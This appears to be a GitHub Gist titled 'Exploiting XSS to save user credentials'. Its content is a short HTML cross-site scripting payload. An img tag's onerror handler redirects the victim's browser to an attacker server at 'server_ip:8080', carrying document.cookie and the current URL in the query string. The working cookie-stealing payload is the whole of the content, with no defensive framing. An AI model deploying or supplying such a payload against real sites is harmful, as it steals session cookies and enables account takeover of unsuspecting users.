Last active
August 29, 2015 14:00
-
-
Save samos123/5786c96cb94902457fa2 to your computer and use it in GitHub Desktop.
Exploiting XSS to save user credentials
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<div id="test"></div> | |
<img onerror=" | |
var get_params = window.location.search.replace('?', ''); | |
if (get_params.indexOf('redirected=1') == -1) { | |
window.location.replace('http://server_ip:8080/?cookies=' + document.cookie + '&next=' + window.location); | |
} | |
" src="#" /> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment